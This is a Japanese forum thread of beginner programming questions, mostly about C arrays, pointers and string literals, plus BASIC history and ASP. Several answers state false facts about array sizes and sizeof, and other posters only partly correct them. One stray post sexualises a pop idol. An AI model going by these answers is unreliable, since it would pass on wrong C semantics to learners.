BASICがコンピューターに内蔵されてたマイコン時代は
中間言語で内部処理されてた関係もあってか
全部大文字に勝手に直されてたっすね。

最近だとスコープがわかるように
定義は大文字、staticは大文字小文字まじり、ローカル変数は小文字とかが
一般的な気がするけど
Cのソースだと定義以外は全部小文字、とかも良くみる。

「その人なりのわかりやすさ」以外の思想的背景とかは知らん。スマン
0397デフォルトの名無しさんNGNG
COBOLが大文字だし、EBCDICも以下のとおりだし。
ttp://ja.wikipedia.org/wiki/EBCDIC

汎用機にC言語があるのをハケーンして簡単なプログラム作ったら動いたよ。
でも、全部大文字のCなんて気持ちわる杉w
0398デフォルトの名無しさんNGNG
全て大文字で書くと大声で騒いでいるように見えるらしい。
0399デフォルトの名無しさんNGNG
他人のソースを読んでいるとコメントにFIXMEとかXXXとか出てくるのですが
FIXME ・・・ 後で誰か修正して!
XXX ・・・ ココ注目!
という理解であってますか?他にもこういった語はありますか?
0400デフォルトの名無しさんNGNG
メメメクラゲに刺されてしまったのです…
0401デフォルトの名無しさんNGNG
昔はディスプレイの解像度やドットピッチがしょぼくて
大文字小文字混合だとわけわからん事になってた
0402 ◆aUP6e3xpQs NGNG
PC初心者板から誘導されてきました_| ̄|○
http://pc6.2ch.net/test/read.cgi/pcqa/1097841616/158-163

質問:N88-BASICでもコンパイルして使うことは有ったのでしょうか?

N-88BASICでかかれたプログラムを使用しているPC98が老朽化してきたため、VBへのソース変換などを用いて
PC/AT互換機で使用したいと考えています。
しかしながら、プログラム(拡張子:.bas)をエディタで開いても文字化けしてしまいます(文字・改行コードは原因ではない)。
バイナリエディタで見るとコンパイルされたような感じになっています。

// なお、元の環境(MS-DOS5.0J(NEC) + DiskBASIC)やPC98エミュレータ(T98Next)での動作は問題有りません

仮にコンパイルされている場合、このbasファイルをWindows上で使うにはエミュレーターを使う以外はないのでしょうか?
お知恵を拝借できればと思います。
0403デフォルトの名無しさんNGNG
>>402
それはアスキーコードで保存されていないだけです
BASIC上でLISTは読めますか?読めるのであれば、アスキー形式で
SAVEしなおしてください
0404デフォルトの名無しさんNGNG
おっと、今みたら
ttp://www.vector.co.jp/soft/win95/prog/se063951.html
のようなソフトもあるな
0405デフォルトの名無しさんNGNG
>>403

SAVE "hogehoge",B
?
なんかそういうのあったようななかったような。中間コードのまま保存してるってことですね。
# MSXユーザなので詳しくないですが
0406 ◆aUP6e3xpQs NGNG
>>403
できました。ありがとうございますm(_ _)m

N88BASICなんて10年ぶりくらいにさわりましたf^_^;
とはいえ、Line文とFor文の組み合わせで箱が動く程度のプログラムしか書けませんでしたが_| ̄|○
0407デフォルトの名無しさんNGNG
ふつーにsaveしたら内部コードのままで保存されるわけだよ
昔はディスク容量やカセットテープの読み込み時間も貴重だったから
データが少なくてすむ、いや、年寄りの昔話じゃ、聞き流してくれ。
0408 ◆aUP6e3xpQs NGNG
>>404-405
本当にありがとうございましたm(_ _)m
0409デフォルトの名無しさんNGNG
多倍長整数の剰余を求める高速なアルゴリズムを教えてクダサイ。

一般的な方法(?)だと、
ビットシフトさせながら比較して減算、というのを繰り返すと思うのですが、
コレだと割り算とほとんど変わらないので、
商は求まらなくてイイから高速なものなんかないでしょうか...

必要なのは符号無し2048bitを符号無し1024bitで割った余りなのですが
↑のアルゴリズム以外思いつかないです。
高速化手法としては、必要な部分(1024又は1056bit)のみの比較・減算を行う。(当たり前?)
(私の用途だと割る数を変えずに何回も剰余を求めるので)
前もってビットシフトしたテーブルを作っておく。というのはやってます。

おながいします。
0410デフォルトの名無しさんNGNG
そろばんや計算尺をなどと言ってみるテスト
0411デフォルトの名無しさんNGNG
GUIを「ぐい」とか「がい」とか言う奴は
何か勘違いをしているのではないかと
今強く思うのであった。
0412デフォルトの名無しさんNGNG
GUIのみ

でこれから酒を飲む
0413デフォルトの名無しさんNGNG
GUIはグイだろ・・・。
0414デフォルトの名無しさんNGNG
GUIはグイはジーユーアイ
略字はそんなもん
0415デフォルトの名無しさんNGNG
グイは→グイか
0416デフォルトの名無しさんNGNG
glutを「ぐると」とかよぉー

ヨーグルトみてえでよぉー

語感がムカつくんさ。
0417デフォルトの名無しさんNGNG
>411
じゃ、SCSIを「すかじー」とか言う奴は
何か勘違いをしているのではないかと
思うのですか?
0418デフォルトの名無しさんNGNG
まぁ、勘違いしてる奴は>>411ってこったw
0419392NGNG
やはり、主として見易さの問題でしたか。。。
余談ですが、プログラムが全て大文字で書かれていると、なんとなくカッコイイと思ってました。
こんな変な感覚は私だけかな。。。

>>393
>BASICも全部大文字では書かないだろ?
とりあえず私の見たことのあるコード(せいぜい1000行程度ですが)はすべて大文字でした。
小文字を使っているのも見たことがありますが、その場合は全て小文字でした。
0420デフォルトの名無しさんNGNG
にちゃんねるはマルチスレッドですか?
0421デフォルトの名無しさんNGNG
>>420
どう考えてもそうだろ。
http://pc5.2ch.net/tech/subback.html
0422デフォルトの名無しさんNGNG
すいません、初心者です。
Cで、

a[4]
は
a[0],a[1],a[2],a[3]

として定義したことになりますが、
a[]のように、[]の中に数字を入れないものは何を定義した事になるのでしょうか、よろしくお願いします
0423デフォルトの名無しさんNGNG
>a[0],a[1],a[2],a[3]
>として定義したことになりますが、

ここが既におかしいと思わないか?
0424デフォルトの名無しさんNGNG
>>422
int a[] = {1, 2, 3};とでもすれば {1, 2, 3} を入れられるだけの数、つまりこの場合a[4]になる。
char s[] = "abc";ならナル文字があるのでs[5]。

extern int a[];と書かれているのであれば、どこかの.cファイルにグローバル変数としてint a[4];(または上の方法が使われていても良い)などと定義されている。

ただし関数の仮引数ならそれはポインタとして扱われる。
ようするにvoid f(int a[]);と書いたらvoid f(int *a);として扱われる。
0425デフォルトの名無しさんNGNG
>int a[] = {1, 2, 3};
>つまりこの場合a[4]になる

???
0426デフォルトの名無しさんNGNG
どれぐらいの要素数かは知らないけど
配列が指定されてんだよーって意味になる。
「関数の仮引数」をキーに調べてみ。
0427デフォルトの名無しさんNGNG
char s[] = "abc";ならナル文字があるのでs[5]。
char s[] = "abc";ならナル文字があるのでs[5]。
char s[] = "abc";ならナル文字があるのでs[5]。
char s[] = "abc";ならナル文字があるのでs[5]。
0428デフォルトの名無しさんNGNG
楽しそうだな、お前
0429デフォルトの名無しさんNGNG
ありがとうございます。

勘違いしてた?ようです。
0430デフォルトの名無しさんNGNG
嘘を書くなよ嘘を。
0431デフォルトの名無しさんNGNG
ここは最低なインターネットですね
0432デフォルトの名無しさんNGNG
ここにおられるプログラマの方、全画面真っ暗にするプログラムとか作れないでしょうか?
色々調べたけどありません。

ゲームをウィンドウサイズでやりたいんです。
そんでゲーム画面以外、背景真っ暗に・・・って寸法なんです。
IEとかで真っ暗画面フルスクリーンにして下敷きに
してるんだけど、スクロールバーとかどうしても邪魔で。

フルスクリーンサイズでやれって話なんだろうけど、それじゃあ
アプリケーションの切り替えとかきかなくて、メモ帳とかでメモが取れないんです。
0433デフォルトの名無しさんNGNG
背景色黒に、ウィンドウのバーや枠も全部黒に
0434デフォルトの名無しさんNGNG
黒い壁紙タスクバー自動的に隠す
0435デフォルトの名無しさんNGNG
>全画面真っ暗にするプログラム

電源をオフにすればいい
0436デフォルトの名無しさんNGNG
Ruby >>>>>>>>>>>>>>>>>>>>>>>>>>tasukuba−
0437デフォルトの名無しさんNGNG
>アプリケーションの切り替えとかきかなくて
おまいの制御方法に問題があるだけ。
0438デフォルトの名無しさんNGNG
HSPで全画面真っ暗にしたいんですが、正直難しいと思います。
でもやりたいんです!!僕はHSPでブルースクリーン
ぐらいなら作ったことあります。
今のところ、ゲーム用のウィンドウまで作ったのですが、どなたか僕に
HSPの基礎からすべてを叩き込んでくれませんか??
お願いします。
0439デフォルトの名無しさんNGNG
>>438
体育館倉庫の裏に来い。叩きのめしてやる。
0440デフォルトの名無しさんNGNG
int a[]={0,1,2,3,4}だとa[5]
char str[]="012345"だとstr[6]
0441デフォルトの名無しさんNGNG
char str[]="012345" は str[7]
0442デフォルトの名無しさんNGNG
わざと嘘書いているんだろうか
文字は\0が入るから1個多くなる
0443デフォルトの名無しさんNGNG
奇数バイトはありえない。
0444デフォルトの名無しさんNGNG
>>443
ワードアライメント境界の事か?奇数バイトでは無いぞ
0445デフォルトの名無しさんNGNG
つか、配列のサイズとは別問題だろ、それ
0446デフォルトの名無しさんNGNG
配置される先頭アドレスの問題だよな
釣りか嘘を教えようとしてるのか知らんが、ノイズが多くなってきたな
0447デフォルトの名無しさんNGNG
str[]="012345"
は
str[0]='0'
str[1]='1'
str[2]='2'
str[3]='3'
str[4]='4'
str[5]='5'
str[6]='\0'

だから6まで確保だと勘違いしてる人が多いみたいね。
宣言時の[]は配列だが、その後の[]は*(1*i)な。
単にポインタの位置、配列とは別物。
だから、char str[6];はナル文字込みでstr[5]までしか使えない。



0448デフォルトの名無しさんNGNG
>>447
>単にポインタの位置、配列とは別物。

嘘をつくな嘘を・・・
Cで配列は使えないのと思ってるのか?
0449デフォルトの名無しさんNGNG
>>447
いや、何言ってんのか分からん。
確保、宣言の話だろ?
char str[7];じゃんか。
0450デフォルトの名無しさんNGNG
>>447
使えますが何か?
charが文字だけしか使えないと勘違いしてる人が多いみたいね。
0451デフォルトの名無しさんNGNG
雉も鳴かずば撃たれまいに
0452デフォルトの名無しさんNGNG
>>448
一度Cの仕様書やK&Rを読んでみると良い。
そういう誤解が結構多い。
式の中で[]はポインタに読み替えられる。
p[i]は*(p + i)と全く同じ意味

>>449
どうも書き方が悪かったようだね。
いや、全くその通りなのだが・・・
0453448NGNG
>>452
>式の中で[]はポインタに読み替えられる。
>p[i]は*(p + i)と全く同じ意味
嘘をつくなよ。
そんな訳無いだろ・・・
式の中でも[]は配列に決まってるだろ!!
0454452NGNG
>>453
どうも悪い本か師を掴まされてるようだね。
それじゃもう1つ言ってあげよう。
p[i]はi[p]と全く同じ意味だよ。

まぁ、自分のコンパイラで実行してみれば真意がわかるんじゃないかな?
0455デフォルトの名無しさんNGNG
char str[]="012345";
と
char *str="012345";
の違いはわかってるよな?
0456デフォルトの名無しさんNGNG
>>454
お前の説明が悪い
[]の働きと、ポインタ変数と配列変数の違いと、ごっちゃになってる
0457448NGNG
>>454
マジで上手く行った・・・
何でだ、、、

ごめん、何か混乱してきた。。。
誰かまとめて・・・
0458デフォルトの名無しさんNGNG
>>457
配列の識別子は、式の中では先頭アドレスと評価される、それだけー
0459デフォルトの名無しさんNGNG
include <stdio.h>

int main(void);

int main(void)
{

char str[]="aiu";
int i;

for(i=0; i<4; i++)
{
printf("%c\n",str[i]);
}

for(i=0; i<4; i++)
{
printf("%c\n",i[str]);
}

return(0);
}
これの結果がi[str]とstr[i]とで全く同じように働くのは
>式の中で[]はポインタに読み替えられる。
>p[i]は*(p + i)と全く同じ意味
だから?
0460デフォルトの名無しさんNGNG
そう、やれるからってやるなよってネタだが
1[str]とか。
0461デフォルトの名無しさんNGNG
2["cool"]とか
0462デフォルトの名無しさんNGNG
>>455
>char str[]="012345";
>と
>char *str="012345";
>の違いはわかってるよな?

えーと、えーと
上が str[6] で
下が str[7] でしょうか?
0463デフォルトの名無しさんNGNG
エクセルで図?を作ったのですが、その中に数値(一桁)を入れたいのです。
普通にエクセルを起動していっこいっこ入れていっても良いのですが、
.exeファイルから簡単に数値を入れることはできますか?
実行を押せばエクセルが起動し、数値が入っているなど・・・
ちなみに、数値は特殊なものではありません。
一様、図は作ってみたのでUPします。
ttp://uranainai.k2.xrea.com/zu.xlt
どうかお願いします。
0464デフォルトの名無しさんNGNG
おい、ネタなのかマジなのか。
怖いからお前は const char *str 〜 と書くようにしとけ。
0465デフォルトの名無しさんNGNG
>>463
.exe にしなくても .vbs とかで出来るよ

0466デフォルトの名無しさんNGNG
>>462
軽い目眩に襲われた。
ttp://www.kouno.jp/home/c_faq/c6.html
あなたはC FAQを全部読んでくれ。頼む。お願いだ。
0467デフォルトの名無しさんNGNG
http://pc5.2ch.net/test/read.cgi/tech/1090723093/61-
0468デフォルトの名無しさんNGNG
>>463
マクロを組めばいいんじゃない。

Excel総合相談所 27
http://pc5.2ch.net/test/read.cgi/bsoft/1096068933/
0469デフォルトの名無しさんNGNG
>>462
上は配列を確保して固定データを入れる。
下は固定データを確保して配列に入れるだ。
よく覚えとけ。
0470デフォルトの名無しさんNGNG
char str[]は文字列そのものが格納されてる場所
char *strは文字および文字列が格納されている場所を参照する事が出来る可能性があるポインタが格納されてる場所
可能性があると言うのは、ヌルポインターもアリだから
0471デフォルトの名無しさんNGNG
>>470
ΩΩΩ<な、なんだってぇぇ
0472デフォルトの名無しさんNGNG
>>470
そんなCのリファレンスそのものな書き方されてもなぁ・・・
発言自体ナンセンス。

でも他の表現だと嘘っぱちになることが多いからなぁ・・・
0473デフォルトの名無しさんNGNG
されてもなぁ、って誤り指摘じゃないのかw
0474デフォルトの名無しさんNGNG
>>472
いや、案外>>470を知らない人が結構多い。
おまけにそれなりのコード書いててもスンナリ動くから誤解だと気づか無い事が多い。
先の式の中でも配列が存在するとか勘違いしてた人もそんな感じだろう。
0475デフォルトの名無しさんNGNG
char *str = "abc";
このときの "abc" ってスタックに確保されるのですか?
それともヒープですか?
0476デフォルトの名無しさんNGNG
>>475
constです
0477デフォルトの名無しさんNGNG
>先の式の中でも配列が存在するとか勘違いしてた人もそんな感じだろう。 
お前も勘違い

char array[HOGE];
sizeof(array); ←式
    ↑配列
0478デフォルトの名無しさんNGNG
>>477
それは、
sizeof( (array+0) );
ってやってるだけだぞ。
お前がまさにその指摘されてる勘違いしてる人だろ。
式の中では[]は全部置き換えられるんだって・・・
0479デフォルトの名無しさんNGNG
お前らここよめ・・・
http://kmaebashi.com/programmer/pointer.html

ここにも書いてるけど
>式の中では、配列は「先頭要素へのポインタ」に読み換えられる。
は確かに正しい。
が
>sizeof演算子のオペランド
>sizeof演算子は、ポインタのサイズではなく、配列自体のサイズを返す。
とも書かれてる通り>>477も正しい。
0480デフォルトの名無しさんNGNG
char str[]="012345";
str内の書き換えOK

char *str="012345";
str内の書き換えNG
0481デフォルトの名無しさんNGNG
>>477
勘違いっつーか、それはsizeofの場合だけの例外
0482デフォルトの名無しさんNGNG
>>481
ばりばり勘違いしてるぞ >>478 とか
0483デフォルトの名無しさんNGNG
char str[]="abc";
と
char *str="abc"
ってありふれた画像で説明すると
http://sylphys.ddo.jp/upld2nd/pc/img-box/img20041017000916.jpg
こういう事。
0484デフォルトの名無しさんNGNG
>>482

何故そこで>>478が出てくるのかわからんが・・・
確かに>>478は勘違いしてるがね。
0485デフォルトの名無しさんNGNG
\n
0486デフォルトの名無しさんNGNG
おまえが「勘違いじゃなく例外」とか言い出したんだろ。
0487デフォルトの名無しさんNGNG
うわぁ・・・
ここは勘違い君ばっかだな・・・・

まとめると。
・配列([])は式の中では*(p+i)と言う具合に先頭ポインタへ置き換えられる。
ただし、sizeof演算子だけは例外。
・char str[]とchar *strの違いは>>483の通り。
・str[i]=i[str]=*(str+i)
0488デフォルトの名無しさんNGNG
>>486
sizeof演算子だけの例外だろ?
お前が強烈な勘違い
0489デフォルトの名無しさんNGNG
配列とポインタが良く分かっていない人と、
配列名・ポインタ変数名と添え字の表記の知識だけが先行した勘違いさんと、
両方居て話がややこしくなってる。
0490デフォルトの名無しさんNGNG
>>486
俺が勘違いじゃなく例外と言った事と>>478の人と俺がどう関係あるのかと小一時間(ry
0491デフォルトの名無しさんNGNG
「無い」といっちゃった時点で間違いなんだが、認めたくないらしい。
0492デフォルトの名無しさんNGNG
多分この混乱は全員名無しだからだと思う。
どれとどれが同一人物かどうかわからんから意味不明なやり取りが発生 と

お前らコテ付けろ
0493デフォルトの名無しさんNGNG
うるせー馬鹿
0494デフォルトの名無しさんNGNG
>>490==484
478は勘違いなんだな?
なら、同じことを言ってる474もおそらく勘違いさんだろう。
という推測はそんなに変か?
0495デフォルトの名無しさんNGNG
基本は無いんだから、本気で勘違いしてる人にはとりあえず 無い だろ。
例外まで言って揚げ足取りするなや。

0496デフォルトの名無しさんNGNG
>>465 >>468
いろいろ調べたのですが、図(円)をセルに入れることができません。。
作れないのでしょうか?
0497デフォルトの名無しさんNGNG
なんつーか
このスレ読んでたら、俺まで混乱してきたよ。
とりあえず>>487でFAっつー事でそろそろ終了してくれませんかね?
ここには入門者を含めた質問者が来るスレなので、混乱させるのはマズイんじゃ・・・・
0498デフォルトの名無しさんNGNG
よし、俺がわかりやすい例を出してやろう。

char str1[] = str2[] = "abc";
char *str1 = *str2 = "abc"

上は下の二倍メモリを食う。
0499デフォルトの名無しさんNGNG
二倍じゃないだろ、どういう計算してるんだ。
0500デフォルトの名無しさんNGNG
>>498
でも下は、str1を変更すると、str2の内容も変わる。
0501デフォルトの名無しさんNGNG
下は"abc"の他にstr1,str2の分のメモリーが必要になるから二倍じゃない。
0502デフォルトの名無しさんNGNG
三倍でした。_| ̄|○
0503デフォルトの名無しさんNGNG
>>497
FAて、
>・配列([])は式の中では*(p+i)と言う具合に先頭ポインタへ置き換えられる。 
*(p+i)が先頭ポインタとかわけわからん文章なんだが
0504デフォルトの名無しさんNGNG
三倍じゃないだろ、どういう計算してるんだ。
0505デフォルトの名無しさんNGNG
三倍でもない、ちゃんとチラシの裏にでも書いて計算しろ
ポインタ変数のサイズを規定しないと計算できないが
0506デフォルトの名無しさんNGNG
つーか、
char str1[] = str2[] = "abc";

こんなのとおらねーだろ。
0507デフォルトの名無しさんNGNG
二倍とあと少しでした。_| ̄|○
0508デフォルトの名無しさんNGNG
mallocとどう違うんですか?
0509デフォルトの名無しさんNGNG
>>506
やってみたのか? とおりそうじゃねーか? とおってもいいんじゃねーか?
0510デフォルトの名無しさんNGNG
まぁ、言語書いてないからな。
CやC++ではなさそうだが。
0511デフォルトの名無しさんNGNG
知ったか君がバレて焦ってます
0512デフォルトの名無しさんNGNG
>>509
s.c:5: error: `str2' undeclared (first use in this function)
s.c:5: error: (Each undeclared identifier is reported only once
s.c:5: error: for each function it appears in.)
s.c:5: error: 構文解析エラー before ']' token


char str1[] = "abc";
char str2[] = "abc";
と言いたいのは分かるけど。
0513デフォルトの名無しさんNGNG
char *str1 = "abc";
char *str2 = "abc";

この場合コンパイラの最適化によってはメモリ半分ですむ
0514デフォルトの名無しさんNGNG
落ち着いて、まず何に比して半分なんだ?( ・∀・)
0515デフォルトの名無しさんNGNG
コンパイラが同一のリテラル指すように最適化するってことだろ。
0516デフォルトの名無しさんNGNG
>>513
ところで、前から思うんだけどさ
それって意味あるの?

2つ生成しても、str1を変えちゃうとstr2まで変わってしまう。
なら最初から1つで良いじゃん と

使いどころがイマイチわからないのですが・・・
0517デフォルトの名無しさんNGNG
メモリも色々あるからな
コード領域とヒープとスタックと・・

まぁこの話の流れの場合、論旨としては
上が固定領域に1セット、固定じゃない領域に2セット "abc" が存在する
下は固定領域に1セットのみ"abc"が存在する。
でいいんじゃない

ポインタ自体の消費メモリに関しては便宜上考えないものとしないと話が進まないよね

この辺まで考え出すと実行環境によってはレジスタに配置される場合もあるから
CPUの種類まで限定しないと計算できなくなる
0518デフォルトの名無しさんNGNG
>>516
文字列リテラルを変更すんなYo
0519デフォルトの名無しさんNGNG
nkfとか使わずにコマンドプロンプトにユニコード(UTF-8)を
表示する方法ある? w2kで・・・だけどXPとかであるのならそっちも。
0520デフォルトの名無しさんNGNG
char str[]="あいうえお";
って、11*charバイト消費するの?
0521デフォルトの名無しさんNGNG
>>520
printf("%lu\n",(unsigned long)sizeof str);
0522デフォルトの名無しさんNGNG
たまに見る。関数の戻り値に

return(hoge, hoge);
ってやってるのを見るのですが、2つも値を返せるのでしょうか?
0523マイク ◆yrBrqfF1Ew NGNG
言語によるだろう
0524デフォルトの名無しさんNGNG
すみません、Cです。
0525デフォルトの名無しさんNGNG
ログに上がってたものですが
http://sylphys.ddo.jp/upld2nd/pc/img-box/img20041017000916.jpg
このような認識でよいのでしょうか?
0526デフォルトの名無しさんNGNG
ttp://www.kouno.jp/home/c_faq/c6.html
にも書かれてるはずだが。
0527デフォルトの名無しさんNGNG
>>525
違います。変数は箱ではありません。
0528デフォルトの名無しさんNGNG
>>526
+---+---+---+---+---+---+
a: | h | e | l | l | o |\0 |
+---+---+---+---+---+---+
+-----+ +---+---+---+---+---+---+
p: | *======> | w | o | r | l | d |\0 |
+-----+ +---+---+---+---+---+---+

って書かれてますね。
同じ図に見えるので正しいのでしょう。

>>527
違うのですか、ですが変数にポインタが格納されてるように図から見れますが・・・
0529デフォルトの名無しさんNGNG
>>528
ほぼ正しいが、あの画像の図は間違ってる。
文字列の終わりをあらわすのは\0であって、\nではない。
0530デフォルトの名無しさんNGNG
char a[] = "hell world";
は hell world\0 の分の領域を確保してそこに文字をコピー
char *a = "hell world";
は "hell world" という書き換えてはいけない場所にある文字の先頭ポインタの
場所をaに保存
かな
0531デフォルトの名無しさんNGNG
じゃあ
const char *a="help world";
って無意味なの?
0532デフォルトの名無しさんNGNG
意味はある

aが常に "help world" を差すようにconst するという意味がある

これをやらないと aが他のcharデータを差すように変更されてしまう恐れがある
0533デフォルトの名無しさんNGNG
>>531
char *a;
にとっては、相手が書き換えOKかNGかは知る吉も無い(途中でaの場所変えられるから)
0534デフォルトの名無しさんNGNG
Cスレ池
0535デフォルトの名無しさんNGNG
>>532
それは char *const a だべ
0536デフォルトの名無しさんNGNG
>>535
そうか
すまん勘違いしてた
0537デフォルトの名無しさんNGNG
>>470
   ( ・∀・)   | | ガッ
  と    )    | |
    Y /ノ    人
     / )    <  >__Λ∩
   _/し' //. V`Д´)/
  (_フ彡        /
0538マイク ◆yrBrqfF1Ew NGNG
>>531
無意味も何もC++なら文字列リテラルを指すのはconst charしかできないはずだろ?
0539デフォルトの名無しさんNGNG
C++でなんですが、
main(){
int num = 1;
int a = 100 / (num - 1);
return 0;
}
これを実行すると強制終了してしまいます。
int a = 100 / 0;
だと大丈夫なんですが、なんででしょうか?
コンパイラはbcc32使いました
0540デフォルトの名無しさんNGNG
>>539
俺の環境では、どちらの場合も実行時に
0で割り算を行おうとしました。 とエラーが出るよ。

環境依存だと思われるので、コンパイラ名書いてみ。
0541デフォルトの名無しさんNGNG
>>540
コンパイラはBorland C++ Compiler 5.5です
今検索エンジンで調べなおしてみたら、コンピュータでは0で除算はできないって書いてありました。
検索不足でした、すいません
0542デフォルトの名無しさんNGNG
VB6.0 でゲームを作ろうと思っているんですが、参考にしやすい本やサイトは何でしょうか?
0543デフォルトの名無しさんNGNG
C#でTabControlについての質問なんですけど
既存のtabPage1から新しいTabPageを作成したい場合
どのようにしたら良いでしょうか?
1つ1つコントロールを配置してプロパティを設定する方法は分かるのですが、
tabPage1上にあるコントロールとプロパティの状態をすべて含めて
新しいTabPageを作成という事はできますか?
0544デフォルトの名無しさんNGNG
>>538
たいていの環境でコンパイルエラーはでないだろうがな
だから訊いてるんだろうし
0545デフォルトの名無しさんNGNG
(°Д°)ハァ?
0546デフォルトの名無しさんNGNG
>>544
エラーが出るコンパイラ教えてくれ
0547デフォルトの名無しさんNGNG
544は出ないだろうと言ってないか
0548デフォルトの名無しさんNGNG
たいていのってことは、出るコンパイラもあるのでしょう。
0549デフォルトの名無しさんNGNG
知らんなぁ、C++に忠実なコンパイラ探してくれ。
0550デフォルトの名無しさんNGNG
C++に忠実なコンパイラでも出ないだろ
0551デフォルトの名無しさんNGNG
オレはCしか知らないんだが、>>538は本当なの?
0552デフォルトの名無しさんNGNG
文字列リテラルはconst char[]の筈だけど、まぁゴニョゴニョと
0553デフォルトの名無しさんNGNG
const string
0554デフォルトの名無しさんNGNG
互換性のために言語仕様がほにゃららなのはあきらめろ
0555マイク ◆yrBrqfF1Ew NGNG
まあ変更できねえものを変更可なところにおくなんてキモ行為はネラにぴったりだな。
0556デフォルトの名無しさんNGNG
新垣カンタン操作大使のコスチュームがエロすぎる。
http://www.i-love-epson.co.jp/products/printer/inkjet/colorio/printer.htm ;
ここの「オールフォト大使館」で見られる、ブロードバンドの人間しか受け付けない画像だ。
そもそもオレは新垣がメンバー入りした当初から「新垣は可愛い、きっと化ける」と主張してきた。
2ちゃんでは「コネで入ったブサイク」という叩きが横行していたが、あれは間違いなく
風が吹けば飛ぶような薄っぺらい個性しかない、小川や紺野の粘着キモオタファンどもの工作だ。
偏見を離れて見直してみれば、新垣が全メンバー中1、2を争う可愛らしさであることは事実だ。
確かにデビュー当初はまだおんなのにおいが薄いところもあったが、それでもあの
雨に濡れた子犬が怯えるような表情で、画面の向こうから、確実に
「里沙ちょっと怖いけど、かっちゃん(オレ)のために頑張るね」と呼びかける心の声が聞こえていた。
最近は随分と成熟した大人の色気が出せるようになって来て、オレの触手も我慢ができなくなってきていた。
そこでこのカンタン操作大使のコスチュームだ。これにはもう打ちのめされた。
まずその名前がエロい。「かっちゃん、里沙のことカンタンに操作してね」
「ああん、かっちゃんにそんな操作されたらカンタンにおかしくなっちゃう」
そんな新垣の声が、鼓膜を破ろうとも脳に直接響くかのようだ。
次にあのコスチュームはなんだ。胸に操作ボタン。そこに指先を当てている。
言うまでも無く、あの胸のボタンは、新垣の心の操作ボタンであり、乳首にも直結ジャンクションだ。
それをオレの指で押せと、グリグリとボタンをこねくり回せと、そういう意味だ。
あのボタンを押すたびに、新垣の胸の中で熱い何かが弾けて、時空の涙が見えるのか。そうだ。
新垣に聞いたらそうだという返事が聞こえた。間違いない。あの指先はオレの指先だ。
新垣にああまで直接アピールされてはもうガマンできない。例え犯罪者になろうとも、オレは
超一体オールフォトカラリオを買って、電源もいれずにひたすら操作ボタンをこねくり回してやる。
0557556NGNG
ごめんごめん!マジごめん!
他の板のほかのスレに貼るつもりだったのに間違えてこっちに貼っちゃった
スルーしてください
0558デフォルトの名無しさんNGNG
うーんキモイ
0559Response Buffer Limit ExceededNGNG
http://www.dis.h.u-tokyo.ac.jp/scripts/search/ICD10_searchw.asp

Response オブジェクト エラー 'ASP 0251 : 80004005'

Response Buffer Limit Exceeded

/scripts/search/ICD10_searchw.asp, 行 0

Execution of the ASP page caused the Response Buffer to exceed its configured limit.
0560デフォルトの名無しさんNGNG
すみません。アルゴリズムの質問をさせてください。

a=11.2 b=9.3 c=7.2 d=6.3 という4つのレートがあったとします。
これらを組み合わせて、規定した値にもっとも近い組み合わせを出したい
のですが、いくら考えてもアルゴリズムが出てきません。
(計算式?)

解は複数出て問題ありません。
よろしくお願いいたします。

例:基準値を103とした場合、
11.2×4=44.8
9.3×2=18.6
   7.2×2=14.4
   6.3×4=24.2 で合計がぴったり103となります。

  基準値が22の場合は、
   9.3×1=9.3
6.3×2=12.6  で合計21.9が最も近い数字となります。
  (7.2×3=21.6は最も近い組み合わせでないので不可)
  
0561デフォルトの名無しさんNGNG
宿題スレへ行け
0562デフォルトの名無しさんNGNG
>>560
いつも同じレスしてるが・・・
やり方を知りたいなら、どの辺りまで考えたのか書いてみよう。
答えを知りたいだけなら宿題スレへ。
0563デフォルトの名無しさんNGNG
すみませんでした。スレ移動しましたので引き続きお願いします。
http://pc5.2ch.net/test/read.cgi/tech/1097592876/407
0564デフォルトの名無しさんNGNG
>>560
とりあえずごり押しね。しかもC++だから。
#include <iostream>
#include <math.h>
int main()
{
using namespace std;
int mark[4];
double a, b, c, d;
cout<<"a b c d : ";cin>>a>>b>>c>>d;
double data;
cout<<"pivot : "; cin>>data;
int l=data/a+1, m=data/b+1, n=data/c+1, o=data/d+1;
double min=0;
for(int h=0; h<=l; ++h){
double sum1 = a*(double)h;
for(int i=0; i<=m; ++i){
double sum2 = b*(double)i + sum1;
for(int j=0; j<=n; ++j){
double sum3 = c*(double)j + sum2;
for(int k=0; k<=o; ++k){
double sum4 = d*(double)k + sum3;
if(fabs(data-sum4) < fabs(data-min)){
min = sum4;
mark[0]=h; mark[1]=i; mark[2]=j; mark[3]=k;
}
}}}}

cout<<mark[0]<<' '<<mark[1]<<' '<<mark[2]<<' '<<mark[3]<<endl;
cout<<a*mark[0]+b*mark[1]+c*mark[2]+d*mark[3]<<endl;
return 0;
}
0565564NGNG
忘れてた。
a≧b≧c≧d
この順でよろしく。
それ以外はただしいかどうか保障できないと思うから。
0566デフォルトの名無しさんNGNG
Visual Basicはどこで手に入れるのですか?
0567デフォルトの名無しさんNGNG
ソフトウェアを扱っているような家電、PC量販店にでも逝け
学生なら生協でも扱ってる
0568デフォルトの名無しさんNGNG
>>566
ここを読んでクリックすればいいんだよ
http://www.borland.co.jp/delphi/personal/
0569564NGNG
ちゃうし
0570デフォルトの名無しさんNGNG
C#でasp書いてるんですが、一つお伺いしたいことがあります。
OLEDB使って、データベース接続させてるんですが、
ページをロードするイベントの中で、データベースに接続して
ボタンを押したイベントで、SQL発行してデータ取らせに行こうと考えてたんですが
どうやらボタンを押したタイミングで、接続したはずが接続きれてるっぽいんですが、
asp って、そういうものなんですか?
それとも私がオブジェクト確保した領域か何かが間違ってます?
0571デフォルトの名無しさんNGNG
君の日本語は分かりにくい。
aspにもセッション変数の類があったと思うけど、そういうのを使わない限り、
asp(HTTP)ってのはページをロード(表示)し終わった時点で終了、
変数の値やデータベース接続などのコンテキストもそこでチャラに。
0572デフォルトの名無しさんNGNG
質問です。
Cのswitch()についてなんですが

case '1'||'2':

こんな感じで、1と2の時に 〜 する 見たいな事は出ないのでしょうか?
0573デフォルトの名無しさんNGNG
case 1:
case 2:
 ;
0574デフォルトの名無しさんNGNG
>>573
なるほど!THXです。
0575デフォルトの名無しさんNGNG
ネトゲとかをチートするには言語は何を勉強すればいんですか?
0576デフォルトの名無しさんNGNG
C
0577マイク ◆yrBrqfF1Ew NGNG
チートって罪じゃなかったか?
0578デフォルトの名無しさんNGNG
どんな犯罪?
チートの範囲がパスワードクラックやシステムダウンまで及ぶなら犯罪になりそうだけど。
マナー違反とかゲームソフトの使用規約違反で垢停止はあるかもね。
0579デフォルトの名無しさんNGNG
